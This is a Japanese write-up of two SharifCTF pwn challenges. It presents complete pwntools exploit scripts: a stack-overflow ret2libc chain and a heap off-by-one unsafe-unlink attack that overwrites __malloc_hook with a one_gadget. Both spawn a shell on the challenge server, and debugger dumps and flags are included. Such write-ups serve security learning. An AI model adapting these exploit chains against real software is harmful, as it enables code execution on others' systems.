以前に類似の問題を解いたことがあったので、今回は2問解けた。やっぱり数をこなすのは大事。
ただCTFサーバが長時間落ちてたり、別のCTFと一部時間帯がかぶってたりしたこともあって参加チームはそんなに多くはなかった印象。
OldSchool-NewAge(Pwn, 75 points)
It all started with a leak bang
nc ctf.sharif.edu 4801
Alternative: nc 213.233.161.38 4801
単純なバッファオーバーフローの問題。
ファイル情報
# file ./vuln4
vuln4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2da0205021e2719e0e6feb17a4e571dca715558c, not stripped
# checksec ./vuln4
[*] '(snip)/vuln4'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
動作概要
- 何か文字列を入力するとそのまま終了する
- 入力された文字列は、内部でstrcpy( )により別の領域にコピーされる
- 大量の文字列を入力すると落ちる
# ./vuln4
This time it is randomized...
You should find puts yourself
AAAAAAAAAAAA
done!
# ./vuln4
This time it is randomized...
You should find puts yourself
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
脆弱点
0x804853eのfgetsで最大0xc8(200)文字を受け取って関数copy_itへ渡しているが、copy_it側でstrcpy( )する先が「ebp - 0x12」なので0x12文字より多く文字列を入力するとバッファオーバーフローが起こる。
考察
- 単純なバッファオーバーフローで、かつlibcが提供されている
- プログラムでputs( )を使っているので、これを呼び出せば任意のアドレスの値をリークできそう
- GOTの値をリークさせればlibc_baseやlibc上のsystem( )のアドレスが求まる
方針
- バッファオーバーフローにより関数copy_itの戻りアドレスをputs@plt(0x80483a0)で上書きし、puts( )のGOTの値をリークさせる
- リークさせたアドレスと、与えられたlibcでのputs( )のオフセット値などを利用してlibc_base、libc上のsystem( )、libc上の文字列「/bin/sh」のアドレスを求める
- main(0x80484ea)に戻る
- バッファオーバーフローにより関数copy_itの戻りアドレスをlibc上のsystem( )のアドレスで上書きしてsytem('/bin/sh')を実行する
exploit
from pwn import *
BIN = './vuln4'
LIBC = './libc.so.6'
elf = ELF(BIN)
libc = ELF(LIBC)
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
binsh_offset = next(libc.search('/bin/sh'))
target = 'ctf.sharif.edu'
port = 4801
conn = remote(target, port)
payload = ''
payload += 'A' * 0x12
payload += 'B' * 4
payload += p32(puts_plt)
payload += p32(0x80484ea) # main
payload += p32(puts_got)
conn.sendlineafter('yourself\n', payload)
puts_libc = u32(conn.recv(4))
libc_base = puts_libc - puts_offset
system_libc = libc_base + system_offset
binsh_libc = libc_base + binsh_offset
log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('system_libc: {0}'.format(hex(system_libc)))
log.info('binsh_libc: {0}'.format(hex(binsh_libc)))
conn.recvuntil('\n')
payload = ''
payload += 'A' * 0x12
payload += 'B' * 4
payload += p32(system_libc)
payload += p32(0xdeadbeef)
payload += p32(binsh_libc)
conn.sendlineafter('yourself\n', payload)
conn.interactive()
conn.close()
検証メモ
1.
バッファオーバーフローにより関数copy_itの戻りアドレスをputs@plt(0x80483a0)で上書きし、puts( )のGOTの値をリークさせる
pwndbg> telescope $esp
00:0000│ esp 0xffd39afc —▸ 0x80483a0 (puts@plt) ◂— jmp dword ptr [0x8049874]
01:0004│ 0xffd39b00 —▸ 0x80484ea (main) ◂— lea ecx, [esp + 4]
02:0008│ 0xffd39b04 —▸ 0x8049874 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xf7db8ca0 (puts) ◂— push ebp
2.
リークさせたアドレスと、与えられたlibcでのputs( )のオフセット値などを利用してlibc_base、libc上のsystem( )、libc上の文字列「/bin/sh」のアドレスを求める
[*] libc_base: 0xf7d59000
[*] system_libc: 0xf7d93da0
[*] binsh_libc: 0xf7eb4a0b
3.
main(0x80484ea)に戻る
4.
バッファオーバーフローにより関数copy_itの戻りアドレスをlibc上のsystem( )のアドレスで上書きしてsytem('/bin/sh')を実行する
pwndbg> telescope $esp
00:0000│ esp 0xffd39a9c —▸ 0xf7d93da0 (system) ◂— sub esp, 0xc
01:0004│ 0xffd39aa0 ◂— 0xdeadbeef
02:0008│ 0xffd39aa4 —▸ 0xf7eb4a0b ◂— das /* '/bin/sh' */
当時のログは取ってませんでしたが、フラグはSharifCTF{7af9dab81dff481772609b97492d6899}
でした。
t00p_secrets(Pwn, 250 points)
Someone has designed this top secret management service for us.
He was insisting on the term `t00p`.
Could you please take a look and find out why?
nc ctf.sharif.edu 22107
Alternative: nc 213.233.161.38 22107
ヒープに文字列を登録して、その領域のアドレスを.bssから指しているプログラム。
この時点でTokyo Westerns CTF 3rd 2017の「simple note」と同じような解き方ができるかなと思ってたらそのとおりだった。
ファイル情報
# file ./t00p_secrets
./t00p_secrets: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9feabed677a623dc2d4ad2531f07c0ca827069b3, stripped
# checksec ./t00p_secrets
[*] '(snip)/t00p_secrets'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
動作概要
- 最初にmaster key(wjigaep;r[jg]ahrg[es9hrg)を入力する
- 以降、secretを登録(create)したり編集(edit)したり削除(delete)したりする
- secretを登録する際、そのインデックス(0~7)、サイズおよびデータ種別(バイナリ or 文字列)を指定できる
- 登録したsecretのアドレスはインデックス順にそれぞれ.bss領域(0x6020b8~0x6020f0)に格納される
- バイナリデータの場合はそのまま登録され、文字列の場合はNULL終端後に登録される
- データ種別は編集時にも指定できる
- 登録したsecretは一覧表示したり個別表示したりできる
# ./t00p_secrets
Welcome to SUCTF secret management service
Enter your master key: wjigaep;r[jg]ahrg[es9hrg
1. Create a secret
2. Delete a secret
3. Edit a secret
4. Print secret
5. Print a secret
6. Exit
> 1
Enter secret idx: 0
Enter secret body size: 10
binary(0) or String(1): 0
Please enter secret body (MAX 10): AAAA
(snip)
> 1
Enter secret idx: 2
Enter secret body size: 10
binary(0) or String(1): 1
Please enter secret body (MAX 10): BBBB
(snip)
> 4
id: 0
content: AAAA
-----***-----
id: 2
content: BBBB
-----***-----
(snip)
> 5
Please enter secret id to print: 2
id: 2
content: BBBB
-----***-----
(snip)
> 3
Please enter secret id to edit: 0
binary(0) or String(1): 1
Please enter secret content: aaaa
(snip)
> 5
Please enter secret id to print: 0
id: 0
content: aaaa
-----***-----
(snip)
> 2
Please enter secret id to delete: 0
(snip)
> 4
id: 2
content: BBBB
-----***-----
(snip)
> 6
脆弱点
「0x400b01~0x400b2a」あたりの処理で、secretのデータ種別としてStringを選択したとき、入力文字列の「次のバイト」をNULL終端するため、secretのサイズとして「(n * 0x10) + 0x8」バイトを指定した上でStringデータとしてそのサイズいっぱい文字列を登録すると、次のチャンクのsize領域の下位1バイトをNULLで上書きできるという脆弱性がある。
考察
- 各secret格納領域の先頭アドレスをsecret[ i ]、それらをポイントする各.bss領域(0x6020b8~0x6020f0)をptr[ i ](*ptr[ i ] = secret[ i ])とする
- secret格納領域をヒープのチャンクと仮定して、i番目のチャンクchunk[ i ]について下記のような偽チャンクを設定する
- chunk[ i ]->fd = ptr[ i-3 ]
- chunk[ i ]->bk = ptr[ i-2 ]
- このとき、下記が成り立つ
- chunk[ i ]->fd->bk = secret[ i ] ( = *ptr[ i ] )
- chunk[ i ]->bk->fd = secret[ i ] ( = *ptr[ i ] )
- secret格納領域をヒープのチャンクと仮定して、i番目のチャンクchunk[ i ]について下記のような偽チャンクを設定する
- 上記の状態でchnunk[ i ]のUnlinkが走ると
+ chunk[ i ]->fd->bk = chunk[ i ]->bk
+ chunk[ i ]->bk->fd = chunk[ i ]->fd- となり、最終的に下記のようになる
- *ptr[ i ] = ptr[ i-3 ]
- secret[ i ]をeditすると、実際には*ptr[ i-3 ]が書き換わる
- edit( i )で任意のアドレスを書き込むと、show( i-3 )でそのアドレスの値を読み出せ、edit( i-3 )でそのアドレスに書き込める
- となり、最終的に下記のようになる
- 上記Unlinkを起こさせるために、その次のチャンクのPREV_SIZEを調整し、PREV_INUSEをオフにする必要がある
- 今回検出した脆弱性を利用する
- Full RELROなのでGOT書き換えは不可能
- malloc_hookへのOne-Gadget-RCEアドレス上書きを考える
- libcが提供されていない
- 上記Unlinkを行った後でputs( )やfree( )のGOTの値をリークさせ、両者の差分からlibcを推定する
- libcが推定できればmalloc_hookのオフセット値やlibc_baseが求まる
方針
- 適当なサイズ(ここでは0x20)のsecretを3つ作成する(#0, #1, #2)
- サイズが0xd8のsecretを作成する(#3, 偽チャンク用)
- サイズが0xf0のsecretを作成する(#4, チャンクサイズは0x100)
- #3をeditし、内部に偽チャンクを作成すると同時に#4のPREV_SIZEの調整とPREV_INUSEのクリアを行う
- #4をdeleteし、#3の偽チャンクをUnlinkする
- 「#3をeditしてアドレスを書き込み、#0をprintする」処理をputs( )とfree( )のGOTアドレスに対して実行してlibc上のアドレスを取得する
- 上記差分からlibcを推定する
- 上記1. ~ 5. を再度実行した上で「#3をeditしてアドレスを書き込み、#0をprintする」処理を適当な関数のGOTに対して実行し、libc_baseおよびmalloc_hookのアドレスを求める
- #3をeditしてmalloc_hookのアドレスを書き込み、#0をeditしてOne-Gadget-RCEのアドレスを書き込む
- malloc()を呼ぶような操作を行う
exploit-1(libcの推定)
from pwn import *
BIN = './t00p_secrets'
elf = ELF(BIN)
target = 'ctf.sharif.edu'
port = 22107
conn = remote(target, port)
def create(id, size, flag, data):
conn.sendafter('> ', '1'+'\n')
conn.sendafter('idx: ', str(id)+'\n')
conn.sendafter('size: ', str(size)+'\n')
conn.sendafter('String(1): ', str(flag)+'\n')
conn.sendafter('): ', str(data))
def delete(id):
conn.sendafter('> ', '2'+'\n')
conn.sendafter('delete: ', str(id)+'\n')
def edit(id, flag, data):
conn.sendafter('> ', '3'+'\n')
conn.sendafter('edit: ', str(id)+'\n')
conn.sendafter('String(1): ', str(flag)+'\n')
conn.sendafter('content: ', str(data))
def printsecret(id):
conn.sendafter('> ', '5'+'\n')
conn.sendafter('print: ', str(id)+'\n')
conn.recvuntil('content: ')
content = conn.recvuntil('-----***-----', True)
return content
conn.sendafter('master key: ', 'wjigaep;r[jg]ahrg[es9hrg')
create(0, 0x20, 0, 'A'*8) #0
create(1, 0x20, 0, 'B'*8) #1
create(2, 0x20, 0, 'C'*8) #2
create(3, 0xd8, 0, 'D'*8) #3
create(4, 0xf0, 0, 'E'*8) #4
payload = ''
payload += p64(0x0)
payload += p64(0xd1)
payload += p64(0x6020b8)
payload += p64(0x6020c0)
payload = payload.ljust(0xd0, 'e')
payload += p64(0xd0)
edit(3, 1, payload)
delete(4)
edit(3, 0, p64(elf.got['puts']))
res = u64(printsecret(0)[:8])
log.info('puts_libc: {0}'.format(hex(res)))
edit(3, 0, p64(elf.got['free']))
res = u64(printsecret(0)[:8])
log.info('free_libc: {0}'.format(hex(res)))
conn.interactive()
conn.close()
検証メモ-1
1.
適当なサイズ(ここでは0x20)のsecretを3つ作成する(#0, #1, #2)
2.
サイズが0xd8のsecretを作成する(#3, 偽チャンク用)
3.
サイズが0xf0のsecretを作成する(#4, チャンクサイズは0x100)
pwndbg> parseheap
addr prev size status fd bk
0x19a4000 0x0 0x1010 Used None None
0x19a5010 0x0 0x30 Used None None
0x19a5040 0x0 0x30 Used None None
0x19a5070 0x0 0x30 Used None None
0x19a50a0 0x0 0xe0 Used None None
0x19a5180 0x0 0x100 Used None None
pwndbg> telescope 0x6020b8
00:0000│ 0x6020b8 —▸ 0x19a5020 ◂— 'AAAAAAAA'
01:0008│ 0x6020c0 —▸ 0x19a5050 ◂— 'BBBBBBBB'
02:0010│ 0x6020c8 —▸ 0x19a5080 ◂— 'CCCCCCCC'
03:0018│ 0x6020d0 —▸ 0x19a50b0 ◂— 'DDDDDDDD'
04:0020│ 0x6020d8 —▸ 0x19a5190 ◂— 'EEEEEEEE'
05:0028│ 0x6020e0 ◂— 0x0
pwndbg> x/32gx 0x19a50a0
0x19a50a0: 0x0000000000000000 0x00000000000000e1
0x19a50b0: 0x4444444444444444 0x0000000000000000
0x19a50c0: 0x0000000000000000 0x0000000000000000
0x19a50d0: 0x0000000000000000 0x0000000000000000
0x19a50e0: 0x0000000000000000 0x0000000000000000
0x19a50f0: 0x0000000000000000 0x0000000000000000
0x19a5100: 0x0000000000000000 0x0000000000000000
0x19a5110: 0x0000000000000000 0x0000000000000000
0x19a5120: 0x0000000000000000 0x0000000000000000
0x19a5130: 0x0000000000000000 0x0000000000000000
0x19a5140: 0x0000000000000000 0x0000000000000000
0x19a5150: 0x0000000000000000 0x0000000000000000
0x19a5160: 0x0000000000000000 0x0000000000000000
0x19a5170: 0x0000000000000000 0x0000000000000000
0x19a5180: 0x0000000000000000 0x0000000000000101
0x19a5190: 0x4545454545454545 0x0000000000000000
4.
#3をeditし、内部に偽チャンクを作成すると同時に#4のPREV_SIZEの調整とPREV_INUSEのクリアを行う
pwndbg> x/32gx 0x19a50a0
0x19a50a0: 0x0000000000000000 0x00000000000000e1
0x19a50b0: 0x0000000000000000 0x00000000000000d1
0x19a50c0: 0x00000000006020b8 0x00000000006020c0
0x19a50d0: 0x6565656565656565 0x6565656565656565
0x19a50e0: 0x6565656565656565 0x6565656565656565
0x19a50f0: 0x6565656565656565 0x6565656565656565
0x19a5100: 0x6565656565656565 0x6565656565656565
0x19a5110: 0x6565656565656565 0x6565656565656565
0x19a5120: 0x6565656565656565 0x6565656565656565
0x19a5130: 0x6565656565656565 0x6565656565656565
0x19a5140: 0x6565656565656565 0x6565656565656565
0x19a5150: 0x6565656565656565 0x6565656565656565
0x19a5160: 0x6565656565656565 0x6565656565656565
0x19a5170: 0x6565656565656565 0x6565656565656565
0x19a5180: 0x00000000000000d0 0x0000000000000100
0x19a5190: 0x4545454545454545 0x0000000000000000
5.
#4をdeleteし、#3の偽チャンクをUnlinkする
pwndbg> telescope 0x6020b8
00:0000│ 0x6020b8 —▸ 0x19a5020 ◂— 'AAAAAAAA'
01:0008│ 0x6020c0 —▸ 0x19a5050 ◂— 'BBBBBBBB'
02:0010│ 0x6020c8 —▸ 0x19a5080 ◂— 'CCCCCCCC'
03:0018│ 0x6020d0 —▸ 0x6020b8 —▸ 0x19a5020 ◂— 'AAAAAAAA'
04:0020│ 0x6020d8 ◂— 0x0
pwndbg> x/32gx 0x19a50a0
0x19a50a0: 0x0000000000000000 0x00000000000000e1
0x19a50b0: 0x0000000000000000 0x0000000000020f51
0x19a50c0: 0x00000000006020b8 0x00000000006020c0
0x19a50d0: 0x6565656565656565 0x6565656565656565
0x19a50e0: 0x6565656565656565 0x6565656565656565
0x19a50f0: 0x6565656565656565 0x6565656565656565
0x19a5100: 0x6565656565656565 0x6565656565656565
0x19a5110: 0x6565656565656565 0x6565656565656565
0x19a5120: 0x6565656565656565 0x6565656565656565
0x19a5130: 0x6565656565656565 0x6565656565656565
0x19a5140: 0x6565656565656565 0x6565656565656565
0x19a5150: 0x6565656565656565 0x6565656565656565
0x19a5160: 0x6565656565656565 0x6565656565656565
0x19a5170: 0x6565656565656565 0x6565656565656565
0x19a5180: 0x00000000000000d0 0x0000000000000100
0x19a5190: 0x4545454545454545 0x0000000000000000
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x19a50b0 (size : 0x20f50)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
6.
「#3をeditしてアドレスを書き込み、#0をprintする」処理をputs( )とfree( )のGOTアドレスに対して実行してlibc上のアドレスを取得する
7.
上記の結果からlibcを推定する
[*] puts_libc: 0x7f208374a690
[*] free_libc: 0x7f208375f4f0
(snip)/libc-database# ./find free 4f0 puts 690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
# nm -D ./libc.so.6 | grep malloc_hook
00000000003c4b10 V __malloc_hook
# one_gadget -f ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
- 推定されたlibcにおいて、
- malloc_hookのオフセットは0x3c4b10
- One-Gadget-RCEのオフセットは0x4526aなど
exploit-2(shell取る)
from pwn import *
BIN = './t00p_secrets'
LIBC = './libc.so.6'
elf = ELF(BIN)
libc = ELF(LIBC)
target = 'ctf.sharif.edu'
port = 22107
conn = remote(target, port)
def create(id, size, flag, data):
conn.sendafter('> ', '1'+'\n')
conn.sendafter('idx: ', str(id)+'\n')
conn.sendafter('size: ', str(size)+'\n')
conn.sendafter('String(1): ', str(flag)+'\n')
conn.sendafter('): ', str(data))
def delete(id):
conn.sendafter('> ', '2'+'\n')
conn.sendafter('delete: ', str(id)+'\n')
def edit(id, flag, data):
conn.sendafter('> ', '3'+'\n')
conn.sendafter('edit: ', str(id)+'\n')
conn.sendafter('String(1): ', str(flag)+'\n')
conn.sendafter('content: ', str(data))
def printsecret(id):
conn.sendafter('> ', '5'+'\n')
conn.sendafter('print: ', str(id)+'\n')
conn.recvuntil('content: ')
content = conn.recvuntil('-----***-----', True)
return content
conn.sendafter('master key: ', 'wjigaep;r[jg]ahrg[es9hrg')
create(0, 0x20, 0, 'A'*8) #0
create(1, 0x20, 0, 'B'*8) #1
create(2, 0x20, 0, 'C'*8) #2
create(3, 0xd8, 0, 'D'*8) #3
create(4, 0xf0, 0, 'E'*8) #4
payload = ''
payload += p64(0x0)
payload += p64(0xd1)
payload += p64(0x6020b8)
payload += p64(0x6020c0)
payload = payload.ljust(0xd0, 'e')
payload += p64(0xd0)
edit(3, 1, payload)
delete(4)
edit(3, 0, p64(elf.got['puts']))
res = u64(printsecret(0)[:8])
log.info('puts_libc: {0}'.format(hex(res)))
edit(3, 0, p64(elf.got['free']))
res = u64(printsecret(0)[:8])
log.info('free_libc: {0}'.format(hex(res)))
libc_base = res - libc.symbols['free']
malloc_hook_offset = 0x3c4b10
malloc_hook_addr = libc_base + malloc_hook_offset
log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('malloc_hook_addr: {0}'.format(hex(malloc_hook_addr)))
onegadget = libc_base + 0x4526a
edit(3, 0, p64(malloc_hook_addr))
edit(0, 0, p64(onegadget))
conn.sendafter('> ', '1'+'\n')
conn.sendafter('idx: ', str('5')+'\n')
conn.sendafter('size: ', str('17')+'\n')
conn.interactive()
conn.close()
検証メモ-2
8.
上記1. ~ 5. を再度実行した上で「#3をeditしてアドレスを書き込み、#0をprintする」処理を適当な関数のGOTアドレスに対して実行し、libc_baseおよびmalloc_hookのアドレスを求める
[*] puts_libc: 0x7f585074d690
[*] free_libc: 0x7f58507624f0
[*] libc_base: 0x7f58506de000
[*] malloc_hook_addr: 0x7f5850aa2b10
[*] onegadget: 0x7f585072326a
9.
#3をeditしてmalloc_hookのアドレスを書き込み、#0をeditしてOne-Gadget-RCEのアドレスを書き込む
pwndbg> x/6gx 0x7f5850aa2b10
0x7f5850aa2b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f5850aa2b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7f5850aa2b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
pwndbg> x/6gx 0x7f5850aa2b10
0x7f5850aa2b10 <__malloc_hook>: 0x00007f585072326a 0x0000000000000000
0x7f5850aa2b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7f5850aa2b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
10.
malloc()を呼ぶような操作を行う
当時のログは取ってませんでしたが、フラグはSharifCTF{R34V1L1NG_S3CR3T5_VI4_51NGL3_NULL_BY73}
でした。